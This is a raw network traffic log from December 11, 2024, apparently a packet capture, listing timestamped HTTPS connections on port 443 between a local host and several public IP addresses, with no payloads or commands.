Dec 11, 2024 02:08:27.121984005 CET	443	49744	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:27.122076988 CET	49744	443	192.168.2.4	104.17.24.14
Dec 11, 2024 02:08:27.122078896 CET	443	49744	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:27.122092962 CET	443	49744	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:27.122468948 CET	49744	443	192.168.2.4	104.17.24.14
Dec 11, 2024 02:08:27.128376961 CET	443	49744	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:27.128479004 CET	443	49744	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:27.128720045 CET	49744	443	192.168.2.4	104.17.24.14
Dec 11, 2024 02:08:27.128798008 CET	49744	443	192.168.2.4	104.17.24.14
Dec 11, 2024 02:08:27.128814936 CET	443	49744	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:28.107098103 CET	443	49748	104.21.32.1	192.168.2.4
Dec 11, 2024 02:08:28.107438087 CET	49748	443	192.168.2.4	104.21.32.1
Dec 11, 2024 02:08:28.107462883 CET	443	49748	104.21.32.1	192.168.2.4
Dec 11, 2024 02:08:28.108530998 CET	443	49748	104.21.32.1	192.168.2.4
Dec 11, 2024 02:08:28.108602047 CET	49748	443	192.168.2.4	104.21.32.1
Dec 11, 2024 02:08:28.108968019 CET	443	49747	104.21.32.1	192.168.2.4
Dec 11, 2024 02:08:28.109242916 CET	49747	443	192.168.2.4	104.21.32.1
Dec 11, 2024 02:08:28.109255075 CET	443	49747	104.21.32.1	192.168.2.4
Dec 11, 2024 02:08:28.109761000 CET	49748	443	192.168.2.4	104.21.32.1
Dec 11, 2024 02:08:28.109827995 CET	443	49748	104.21.32.1	192.168.2.4
Dec 11, 2024 02:08:28.110033989 CET	49748	443	192.168.2.4	104.21.32.1
Dec 11, 2024 02:08:28.110042095 CET	443	49748	104.21.32.1	192.168.2.4
Dec 11, 2024 02:08:28.110312939 CET	443	49747	104.21.32.1	192.168.2.4
Dec 11, 2024 02:08:28.110373974 CET	49747	443	192.168.2.4	104.21.32.1
Dec 11, 2024 02:08:28.111259937 CET	49747	443	192.168.2.4	104.21.32.1
Dec 11, 2024 02:08:28.111373901 CET	443	49747	104.21.32.1	192.168.2.4
Dec 11, 2024 02:08:28.160630941 CET	49747	443	192.168.2.4	104.21.32.1
Dec 11, 2024 02:08:28.160640001 CET	443	49747	104.21.32.1	192.168.2.4
Dec 11, 2024 02:08:28.160672903 CET	49748	443	192.168.2.4	104.21.32.1
Dec 11, 2024 02:08:28.208098888 CET	49747	443	192.168.2.4	104.21.32.1
Dec 11, 2024 02:08:28.875256062 CET	443	49748	104.21.32.1	192.168.2.4
Dec 11, 2024 02:08:28.875355005 CET	443	49748	104.21.32.1	192.168.2.4
Dec 11, 2024 02:08:28.875401974 CET	443	49748	104.21.32.1	192.168.2.4
Dec 11, 2024 02:08:28.875446081 CET	443	49748	104.21.32.1	192.168.2.4
Dec 11, 2024 02:08:28.875497103 CET	49748	443	192.168.2.4	104.21.32.1
Dec 11, 2024 02:08:28.875529051 CET	443	49748	104.21.32.1	192.168.2.4
Dec 11, 2024 02:08:28.875570059 CET	49748	443	192.168.2.4	104.21.32.1
Dec 11, 2024 02:08:28.884629011 CET	443	49748	104.21.32.1	192.168.2.4
Dec 11, 2024 02:08:28.886014938 CET	49748	443	192.168.2.4	104.21.32.1
Dec 11, 2024 02:08:28.886039019 CET	443	49748	104.21.32.1	192.168.2.4
Dec 11, 2024 02:08:28.889702082 CET	443	49748	104.21.32.1	192.168.2.4
Dec 11, 2024 02:08:28.889786005 CET	49748	443	192.168.2.4	104.21.32.1
Dec 11, 2024 02:08:28.889796972 CET	443	49748	104.21.32.1	192.168.2.4
Dec 11, 2024 02:08:28.944914103 CET	49748	443	192.168.2.4	104.21.32.1
Dec 11, 2024 02:08:28.944928885 CET	443	49748	104.21.32.1	192.168.2.4
Dec 11, 2024 02:08:28.990896940 CET	49748	443	192.168.2.4	104.21.32.1
Dec 11, 2024 02:08:28.994751930 CET	443	49748	104.21.32.1	192.168.2.4
Dec 11, 2024 02:08:28.998809099 CET	443	49748	104.21.32.1	192.168.2.4
Dec 11, 2024 02:08:29.001593113 CET	49748	443	192.168.2.4	104.21.32.1
Dec 11, 2024 02:08:29.001609087 CET	443	49748	104.21.32.1	192.168.2.4
Dec 11, 2024 02:08:29.054229021 CET	49748	443	192.168.2.4	104.21.32.1
Dec 11, 2024 02:08:29.067181110 CET	443	49748	104.21.32.1	192.168.2.4
Dec 11, 2024 02:08:29.070991039 CET	443	49748	104.21.32.1	192.168.2.4
Dec 11, 2024 02:08:29.073383093 CET	49748	443	192.168.2.4	104.21.32.1
Dec 11, 2024 02:08:29.073402882 CET	443	49748	104.21.32.1	192.168.2.4
Dec 11, 2024 02:08:29.078572035 CET	443	49748	104.21.32.1	192.168.2.4
Dec 11, 2024 02:08:29.078630924 CET	49748	443	192.168.2.4	104.21.32.1
Dec 11, 2024 02:08:29.078643084 CET	443	49748	104.21.32.1	192.168.2.4
Dec 11, 2024 02:08:29.078705072 CET	443	49748	104.21.32.1	192.168.2.4
Dec 11, 2024 02:08:29.078759909 CET	49748	443	192.168.2.4	104.21.32.1
Dec 11, 2024 02:08:29.079102993 CET	49748	443	192.168.2.4	104.21.32.1
Dec 11, 2024 02:08:29.079118967 CET	443	49748	104.21.32.1	192.168.2.4
Dec 11, 2024 02:08:29.224669933 CET	49750	443	192.168.2.4	151.101.66.137
Dec 11, 2024 02:08:29.224687099 CET	443	49750	151.101.66.137	192.168.2.4
Dec 11, 2024 02:08:29.224762917 CET	49750	443	192.168.2.4	151.101.66.137
Dec 11, 2024 02:08:29.225156069 CET	49750	443	192.168.2.4	151.101.66.137
Dec 11, 2024 02:08:29.225171089 CET	443	49750	151.101.66.137	192.168.2.4
Dec 11, 2024 02:08:29.225682020 CET	49751	443	192.168.2.4	104.17.24.14
Dec 11, 2024 02:08:29.225697994 CET	443	49751	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:29.225939035 CET	49751	443	192.168.2.4	104.17.24.14
Dec 11, 2024 02:08:29.226003885 CET	49752	443	192.168.2.4	104.18.95.41
Dec 11, 2024 02:08:29.226028919 CET	443	49752	104.18.95.41	192.168.2.4
Dec 11, 2024 02:08:29.226082087 CET	49752	443	192.168.2.4	104.18.95.41
Dec 11, 2024 02:08:29.226237059 CET	49751	443	192.168.2.4	104.17.24.14
Dec 11, 2024 02:08:29.226248026 CET	443	49751	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:29.226383924 CET	49752	443	192.168.2.4	104.18.95.41
Dec 11, 2024 02:08:29.226397038 CET	443	49752	104.18.95.41	192.168.2.4
Dec 11, 2024 02:08:30.454552889 CET	443	49750	151.101.66.137	192.168.2.4
Dec 11, 2024 02:08:30.454876900 CET	49750	443	192.168.2.4	151.101.66.137
Dec 11, 2024 02:08:30.454885960 CET	443	49750	151.101.66.137	192.168.2.4
Dec 11, 2024 02:08:30.455945969 CET	443	49750	151.101.66.137	192.168.2.4
Dec 11, 2024 02:08:30.456013918 CET	49750	443	192.168.2.4	151.101.66.137
Dec 11, 2024 02:08:30.457837105 CET	49750	443	192.168.2.4	151.101.66.137
Dec 11, 2024 02:08:30.457920074 CET	443	49750	151.101.66.137	192.168.2.4
Dec 11, 2024 02:08:30.458739042 CET	49750	443	192.168.2.4	151.101.66.137
Dec 11, 2024 02:08:30.458745956 CET	443	49750	151.101.66.137	192.168.2.4
Dec 11, 2024 02:08:30.465405941 CET	443	49752	104.18.95.41	192.168.2.4
Dec 11, 2024 02:08:30.465656996 CET	49752	443	192.168.2.4	104.18.95.41
Dec 11, 2024 02:08:30.465672016 CET	443	49752	104.18.95.41	192.168.2.4
Dec 11, 2024 02:08:30.466840982 CET	443	49752	104.18.95.41	192.168.2.4
Dec 11, 2024 02:08:30.466919899 CET	49752	443	192.168.2.4	104.18.95.41
Dec 11, 2024 02:08:30.468314886 CET	49752	443	192.168.2.4	104.18.95.41
Dec 11, 2024 02:08:30.468394041 CET	443	49752	104.18.95.41	192.168.2.4
Dec 11, 2024 02:08:30.468498945 CET	49752	443	192.168.2.4	104.18.95.41
Dec 11, 2024 02:08:30.468506098 CET	443	49752	104.18.95.41	192.168.2.4
Dec 11, 2024 02:08:30.506866932 CET	49750	443	192.168.2.4	151.101.66.137
Dec 11, 2024 02:08:30.521126986 CET	49752	443	192.168.2.4	104.18.95.41
Dec 11, 2024 02:08:30.714349031 CET	443	49751	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:30.714796066 CET	49751	443	192.168.2.4	104.17.24.14
Dec 11, 2024 02:08:30.714813948 CET	443	49751	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:30.715874910 CET	443	49751	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:30.715984106 CET	49751	443	192.168.2.4	104.17.24.14
Dec 11, 2024 02:08:30.716337919 CET	49751	443	192.168.2.4	104.17.24.14
Dec 11, 2024 02:08:30.716407061 CET	443	49751	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:30.716608047 CET	49751	443	192.168.2.4	104.17.24.14
Dec 11, 2024 02:08:30.716615915 CET	443	49751	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:30.758507013 CET	49751	443	192.168.2.4	104.17.24.14
Dec 11, 2024 02:08:30.884789944 CET	443	49750	151.101.66.137	192.168.2.4
Dec 11, 2024 02:08:30.907991886 CET	443	49752	104.18.95.41	192.168.2.4
Dec 11, 2024 02:08:30.908080101 CET	443	49752	104.18.95.41	192.168.2.4
Dec 11, 2024 02:08:30.908134937 CET	49752	443	192.168.2.4	104.18.95.41
Dec 11, 2024 02:08:30.908755064 CET	49752	443	192.168.2.4	104.18.95.41
Dec 11, 2024 02:08:30.908763885 CET	443	49752	104.18.95.41	192.168.2.4
Dec 11, 2024 02:08:30.918203115 CET	49753	443	192.168.2.4	104.18.95.41
Dec 11, 2024 02:08:30.918251991 CET	443	49753	104.18.95.41	192.168.2.4
Dec 11, 2024 02:08:30.918337107 CET	49753	443	192.168.2.4	104.18.95.41
Dec 11, 2024 02:08:30.918575048 CET	49753	443	192.168.2.4	104.18.95.41
Dec 11, 2024 02:08:30.918587923 CET	443	49753	104.18.95.41	192.168.2.4
Dec 11, 2024 02:08:30.929115057 CET	49750	443	192.168.2.4	151.101.66.137
Dec 11, 2024 02:08:31.005382061 CET	443	49750	151.101.66.137	192.168.2.4
Dec 11, 2024 02:08:31.005398035 CET	443	49750	151.101.66.137	192.168.2.4
Dec 11, 2024 02:08:31.005436897 CET	443	49750	151.101.66.137	192.168.2.4
Dec 11, 2024 02:08:31.005453110 CET	443	49750	151.101.66.137	192.168.2.4
Dec 11, 2024 02:08:31.005470991 CET	443	49750	151.101.66.137	192.168.2.4
Dec 11, 2024 02:08:31.005537033 CET	49750	443	192.168.2.4	151.101.66.137
Dec 11, 2024 02:08:31.005549908 CET	443	49750	151.101.66.137	192.168.2.4
Dec 11, 2024 02:08:31.005615950 CET	49750	443	192.168.2.4	151.101.66.137
Dec 11, 2024 02:08:31.120733023 CET	443	49750	151.101.66.137	192.168.2.4
Dec 11, 2024 02:08:31.120748043 CET	443	49750	151.101.66.137	192.168.2.4
Dec 11, 2024 02:08:31.120781898 CET	443	49750	151.101.66.137	192.168.2.4
Dec 11, 2024 02:08:31.120943069 CET	49750	443	192.168.2.4	151.101.66.137
Dec 11, 2024 02:08:31.120951891 CET	443	49750	151.101.66.137	192.168.2.4
Dec 11, 2024 02:08:31.121049881 CET	49750	443	192.168.2.4	151.101.66.137
Dec 11, 2024 02:08:31.163011074 CET	443	49751	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:31.163064957 CET	443	49751	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:31.163103104 CET	443	49751	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:31.163145065 CET	443	49751	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:31.163290977 CET	49751	443	192.168.2.4	104.17.24.14
Dec 11, 2024 02:08:31.163290977 CET	49751	443	192.168.2.4	104.17.24.14
Dec 11, 2024 02:08:31.163306952 CET	443	49751	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:31.167954922 CET	443	49750	151.101.66.137	192.168.2.4
Dec 11, 2024 02:08:31.167988062 CET	443	49750	151.101.66.137	192.168.2.4
Dec 11, 2024 02:08:31.168095112 CET	49750	443	192.168.2.4	151.101.66.137
Dec 11, 2024 02:08:31.168103933 CET	443	49750	151.101.66.137	192.168.2.4
Dec 11, 2024 02:08:31.168144941 CET	49750	443	192.168.2.4	151.101.66.137
Dec 11, 2024 02:08:31.171329021 CET	443	49751	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:31.171403885 CET	49751	443	192.168.2.4	104.17.24.14
Dec 11, 2024 02:08:31.171411991 CET	443	49751	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:31.179595947 CET	443	49751	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:31.179727077 CET	49751	443	192.168.2.4	104.17.24.14
Dec 11, 2024 02:08:31.179734945 CET	443	49751	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:31.187968969 CET	443	49751	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:31.188049078 CET	49751	443	192.168.2.4	104.17.24.14
Dec 11, 2024 02:08:31.188056946 CET	443	49751	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:31.242702007 CET	49751	443	192.168.2.4	104.17.24.14
Dec 11, 2024 02:08:31.242708921 CET	443	49751	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:31.288157940 CET	49751	443	192.168.2.4	104.17.24.14
Dec 11, 2024 02:08:31.288167000 CET	443	49751	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:31.290486097 CET	443	49750	151.101.66.137	192.168.2.4
Dec 11, 2024 02:08:31.290517092 CET	443	49750	151.101.66.137	192.168.2.4
Dec 11, 2024 02:08:31.290599108 CET	49750	443	192.168.2.4	151.101.66.137
Dec 11, 2024 02:08:31.290607929 CET	443	49750	151.101.66.137	192.168.2.4
Dec 11, 2024 02:08:31.290666103 CET	49750	443	192.168.2.4	151.101.66.137
Dec 11, 2024 02:08:31.319114923 CET	443	49750	151.101.66.137	192.168.2.4
Dec 11, 2024 02:08:31.319137096 CET	443	49750	151.101.66.137	192.168.2.4
Dec 11, 2024 02:08:31.319253922 CET	49750	443	192.168.2.4	151.101.66.137
Dec 11, 2024 02:08:31.319262028 CET	443	49750	151.101.66.137	192.168.2.4
Dec 11, 2024 02:08:31.319406986 CET	49750	443	192.168.2.4	151.101.66.137
Dec 11, 2024 02:08:31.331326962 CET	443	49750	151.101.66.137	192.168.2.4
Dec 11, 2024 02:08:31.331413031 CET	443	49750	151.101.66.137	192.168.2.4
Dec 11, 2024 02:08:31.331521988 CET	49750	443	192.168.2.4	151.101.66.137
Dec 11, 2024 02:08:31.331521988 CET	49750	443	192.168.2.4	151.101.66.137
Dec 11, 2024 02:08:31.331708908 CET	49750	443	192.168.2.4	151.101.66.137
Dec 11, 2024 02:08:31.331717014 CET	443	49750	151.101.66.137	192.168.2.4
Dec 11, 2024 02:08:31.335509062 CET	49751	443	192.168.2.4	104.17.24.14
Dec 11, 2024 02:08:31.354690075 CET	443	49751	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:31.364533901 CET	443	49751	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:31.364623070 CET	443	49751	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:31.364707947 CET	49751	443	192.168.2.4	104.17.24.14
Dec 11, 2024 02:08:31.364716053 CET	443	49751	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:31.364758015 CET	49751	443	192.168.2.4	104.17.24.14
Dec 11, 2024 02:08:31.372224092 CET	443	49751	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:31.379859924 CET	443	49751	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:31.379955053 CET	49751	443	192.168.2.4	104.17.24.14
Dec 11, 2024 02:08:31.379961967 CET	443	49751	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:31.387481928 CET	443	49751	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:31.387656927 CET	49751	443	192.168.2.4	104.17.24.14
Dec 11, 2024 02:08:31.387664080 CET	443	49751	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:31.395199060 CET	443	49751	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:31.395297050 CET	49751	443	192.168.2.4	104.17.24.14
Dec 11, 2024 02:08:31.395303965 CET	443	49751	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:31.402791023 CET	443	49751	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:31.402867079 CET	49751	443	192.168.2.4	104.17.24.14
Dec 11, 2024 02:08:31.402878046 CET	443	49751	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:31.410496950 CET	443	49751	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:31.410583019 CET	49751	443	192.168.2.4	104.17.24.14
Dec 11, 2024 02:08:31.410589933 CET	443	49751	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:31.418091059 CET	443	49751	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:31.418153048 CET	49751	443	192.168.2.4	104.17.24.14
Dec 11, 2024 02:08:31.418160915 CET	443	49751	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:31.433322906 CET	443	49751	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:31.433386087 CET	443	49751	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:31.433521032 CET	49751	443	192.168.2.4	104.17.24.14
Dec 11, 2024 02:08:31.433530092 CET	443	49751	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:31.433579922 CET	49751	443	192.168.2.4	104.17.24.14
Dec 11, 2024 02:08:31.440916061 CET	443	49751	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:31.448575974 CET	443	49751	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:31.448625088 CET	443	49751	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:31.448652029 CET	49751	443	192.168.2.4	104.17.24.14
Dec 11, 2024 02:08:31.448659897 CET	443	49751	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:31.448817015 CET	49751	443	192.168.2.4	104.17.24.14
Dec 11, 2024 02:08:31.456283092 CET	443	49751	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:31.456406116 CET	443	49751	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:31.456461906 CET	49751	443	192.168.2.4	104.17.24.14
Dec 11, 2024 02:08:31.456548929 CET	49751	443	192.168.2.4	104.17.24.14
Dec 11, 2024 02:08:31.456556082 CET	443	49751	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:31.462945938 CET	49754	443	192.168.2.4	104.17.24.14
Dec 11, 2024 02:08:31.462990046 CET	443	49754	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:31.463073969 CET	49754	443	192.168.2.4	104.17.24.14
Dec 11, 2024 02:08:31.463377953 CET	49754	443	192.168.2.4	104.17.24.14
Dec 11, 2024 02:08:31.463392973 CET	443	49754	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:31.484648943 CET	49755	443	192.168.2.4	151.101.194.137
Dec 11, 2024 02:08:31.484667063 CET	443	49755	151.101.194.137	192.168.2.4
Dec 11, 2024 02:08:31.484822989 CET	49755	443	192.168.2.4	151.101.194.137
Dec 11, 2024 02:08:31.484972000 CET	49755	443	192.168.2.4	151.101.194.137
Dec 11, 2024 02:08:31.484983921 CET	443	49755	151.101.194.137	192.168.2.4
Dec 11, 2024 02:08:32.136092901 CET	443	49753	104.18.95.41	192.168.2.4
Dec 11, 2024 02:08:32.137947083 CET	49753	443	192.168.2.4	104.18.95.41
Dec 11, 2024 02:08:32.137969017 CET	443	49753	104.18.95.41	192.168.2.4
Dec 11, 2024 02:08:32.138323069 CET	443	49753	104.18.95.41	192.168.2.4
Dec 11, 2024 02:08:32.138699055 CET	49753	443	192.168.2.4	104.18.95.41
Dec 11, 2024 02:08:32.138767004 CET	443	49753	104.18.95.41	192.168.2.4
Dec 11, 2024 02:08:32.138909101 CET	49753	443	192.168.2.4	104.18.95.41
Dec 11, 2024 02:08:32.179326057 CET	443	49753	104.18.95.41	192.168.2.4
Dec 11, 2024 02:08:32.583498001 CET	443	49753	104.18.95.41	192.168.2.4
Dec 11, 2024 02:08:32.583636999 CET	443	49753	104.18.95.41	192.168.2.4
Dec 11, 2024 02:08:32.583674908 CET	443	49753	104.18.95.41	192.168.2.4
Dec 11, 2024 02:08:32.583688974 CET	49753	443	192.168.2.4	104.18.95.41
Dec 11, 2024 02:08:32.583710909 CET	443	49753	104.18.95.41	192.168.2.4
Dec 11, 2024 02:08:32.583755016 CET	49753	443	192.168.2.4	104.18.95.41
Dec 11, 2024 02:08:32.583797932 CET	443	49753	104.18.95.41	192.168.2.4
Dec 11, 2024 02:08:32.583867073 CET	443	49753	104.18.95.41	192.168.2.4
Dec 11, 2024 02:08:32.583900928 CET	49753	443	192.168.2.4	104.18.95.41
Dec 11, 2024 02:08:32.583908081 CET	443	49753	104.18.95.41	192.168.2.4
Dec 11, 2024 02:08:32.592185020 CET	443	49753	104.18.95.41	192.168.2.4
Dec 11, 2024 02:08:32.592240095 CET	49753	443	192.168.2.4	104.18.95.41
Dec 11, 2024 02:08:32.592247963 CET	443	49753	104.18.95.41	192.168.2.4
Dec 11, 2024 02:08:32.645380020 CET	49753	443	192.168.2.4	104.18.95.41
Dec 11, 2024 02:08:32.645411015 CET	443	49753	104.18.95.41	192.168.2.4
Dec 11, 2024 02:08:32.672540903 CET	443	49754	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:32.672857046 CET	49754	443	192.168.2.4	104.17.24.14
Dec 11, 2024 02:08:32.672879934 CET	443	49754	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:32.673216105 CET	443	49754	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:32.673676968 CET	49754	443	192.168.2.4	104.17.24.14
Dec 11, 2024 02:08:32.673736095 CET	443	49754	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:32.673899889 CET	49754	443	192.168.2.4	104.17.24.14
Dec 11, 2024 02:08:32.695106983 CET	49753	443	192.168.2.4	104.18.95.41
Dec 11, 2024 02:08:32.700248003 CET	443	49755	151.101.194.137	192.168.2.4
Dec 11, 2024 02:08:32.700562000 CET	49755	443	192.168.2.4	151.101.194.137
Dec 11, 2024 02:08:32.700575113 CET	443	49755	151.101.194.137	192.168.2.4
Dec 11, 2024 02:08:32.701623917 CET	443	49755	151.101.194.137	192.168.2.4
Dec 11, 2024 02:08:32.701698065 CET	49755	443	192.168.2.4	151.101.194.137
Dec 11, 2024 02:08:32.702167034 CET	49755	443	192.168.2.4	151.101.194.137
Dec 11, 2024 02:08:32.702228069 CET	443	49755	151.101.194.137	192.168.2.4
Dec 11, 2024 02:08:32.702471972 CET	49755	443	192.168.2.4	151.101.194.137
Dec 11, 2024 02:08:32.702477932 CET	443	49755	151.101.194.137	192.168.2.4
Dec 11, 2024 02:08:32.702918053 CET	443	49753	104.18.95.41	192.168.2.4
Dec 11, 2024 02:08:32.706887007 CET	443	49753	104.18.95.41	192.168.2.4
Dec 11, 2024 02:08:32.706939936 CET	49753	443	192.168.2.4	104.18.95.41
Dec 11, 2024 02:08:32.706945896 CET	443	49753	104.18.95.41	192.168.2.4
Dec 11, 2024 02:08:32.715337992 CET	443	49754	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:32.754638910 CET	49755	443	192.168.2.4	151.101.194.137
Dec 11, 2024 02:08:32.754638910 CET	49753	443	192.168.2.4	104.18.95.41
Dec 11, 2024 02:08:32.775259972 CET	443	49753	104.18.95.41	192.168.2.4
Dec 11, 2024 02:08:32.780721903 CET	443	49753	104.18.95.41	192.168.2.4
Dec 11, 2024 02:08:32.780915976 CET	49753	443	192.168.2.4	104.18.95.41
Dec 11, 2024 02:08:32.780929089 CET	443	49753	104.18.95.41	192.168.2.4
Dec 11, 2024 02:08:32.788894892 CET	443	49753	104.18.95.41	192.168.2.4
Dec 11, 2024 02:08:32.788970947 CET	49753	443	192.168.2.4	104.18.95.41
Dec 11, 2024 02:08:32.788980007 CET	443	49753	104.18.95.41	192.168.2.4
Dec 11, 2024 02:08:32.795101881 CET	443	49753	104.18.95.41	192.168.2.4
Dec 11, 2024 02:08:32.795202971 CET	49753	443	192.168.2.4	104.18.95.41
Dec 11, 2024 02:08:32.795213938 CET	443	49753	104.18.95.41	192.168.2.4
Dec 11, 2024 02:08:32.810930014 CET	443	49753	104.18.95.41	192.168.2.4
Dec 11, 2024 02:08:32.811002970 CET	443	49753	104.18.95.41	192.168.2.4
Dec 11, 2024 02:08:32.811155081 CET	49753	443	192.168.2.4	104.18.95.41
Dec 11, 2024 02:08:32.811173916 CET	443	49753	104.18.95.41	192.168.2.4
Dec 11, 2024 02:08:32.811224937 CET	49753	443	192.168.2.4	104.18.95.41
Dec 11, 2024 02:08:32.818881989 CET	443	49753	104.18.95.41	192.168.2.4
Dec 11, 2024 02:08:32.826833963 CET	443	49753	104.18.95.41	192.168.2.4
Dec 11, 2024 02:08:32.826903105 CET	443	49753	104.18.95.41	192.168.2.4
Dec 11, 2024 02:08:32.826965094 CET	49753	443	192.168.2.4	104.18.95.41
Dec 11, 2024 02:08:32.826976061 CET	443	49753	104.18.95.41	192.168.2.4
Dec 11, 2024 02:08:32.827022076 CET	49753	443	192.168.2.4	104.18.95.41
Dec 11, 2024 02:08:32.834737062 CET	443	49753	104.18.95.41	192.168.2.4
Dec 11, 2024 02:08:32.842820883 CET	443	49753	104.18.95.41	192.168.2.4
Dec 11, 2024 02:08:32.842921019 CET	49753	443	192.168.2.4	104.18.95.41
Dec 11, 2024 02:08:32.842932940 CET	443	49753	104.18.95.41	192.168.2.4
Dec 11, 2024 02:08:32.848973989 CET	443	49753	104.18.95.41	192.168.2.4
Dec 11, 2024 02:08:32.849137068 CET	49753	443	192.168.2.4	104.18.95.41
Dec 11, 2024 02:08:32.849143982 CET	443	49753	104.18.95.41	192.168.2.4
Dec 11, 2024 02:08:32.855223894 CET	443	49753	104.18.95.41	192.168.2.4
Dec 11, 2024 02:08:32.855321884 CET	49753	443	192.168.2.4	104.18.95.41
Dec 11, 2024 02:08:32.855328083 CET	443	49753	104.18.95.41	192.168.2.4
Dec 11, 2024 02:08:32.861360073 CET	443	49753	104.18.95.41	192.168.2.4
Dec 11, 2024 02:08:32.861421108 CET	49753	443	192.168.2.4	104.18.95.41
Dec 11, 2024 02:08:32.861428022 CET	443	49753	104.18.95.41	192.168.2.4
Dec 11, 2024 02:08:32.867505074 CET	443	49753	104.18.95.41	192.168.2.4
Dec 11, 2024 02:08:32.867630005 CET	49753	443	192.168.2.4	104.18.95.41
Dec 11, 2024 02:08:32.868021965 CET	49753	443	192.168.2.4	104.18.95.41
Dec 11, 2024 02:08:32.868041039 CET	443	49753	104.18.95.41	192.168.2.4
Dec 11, 2024 02:08:33.011698961 CET	49757	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:33.011744976 CET	443	49757	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:33.011918068 CET	49757	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:33.012058020 CET	49757	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:33.012073994 CET	443	49757	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:33.047760010 CET	49758	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:33.047791004 CET	443	49758	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:33.047858000 CET	49758	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:33.048082113 CET	49758	443	192.168.2.4	104.18.94.41
Dec 11, 2024 02:08:33.048094988 CET	443	49758	104.18.94.41	192.168.2.4
Dec 11, 2024 02:08:33.121732950 CET	443	49754	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:33.121788025 CET	443	49754	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:33.121881008 CET	443	49754	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:33.121898890 CET	49754	443	192.168.2.4	104.17.24.14
Dec 11, 2024 02:08:33.121920109 CET	443	49754	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:33.122041941 CET	443	49754	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:33.122102022 CET	49754	443	192.168.2.4	104.17.24.14
Dec 11, 2024 02:08:33.122111082 CET	443	49754	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:33.122158051 CET	49754	443	192.168.2.4	104.17.24.14
Dec 11, 2024 02:08:33.130042076 CET	443	49754	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:33.137768984 CET	443	49755	151.101.194.137	192.168.2.4
Dec 11, 2024 02:08:33.138386011 CET	443	49754	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:33.138523102 CET	443	49754	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:33.138567924 CET	49754	443	192.168.2.4	104.17.24.14
Dec 11, 2024 02:08:33.138576031 CET	443	49754	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:33.138616085 CET	49754	443	192.168.2.4	104.17.24.14
Dec 11, 2024 02:08:33.146984100 CET	443	49754	104.17.24.14	192.168.2.4
Dec 11, 2024 02:08:33.190895081 CET	49755	443	192.168.2.4	151.101.194.137
Dec 11, 2024 02:08:33.190895081 CET	49754	443	192.168.2.4	104.17.24.14
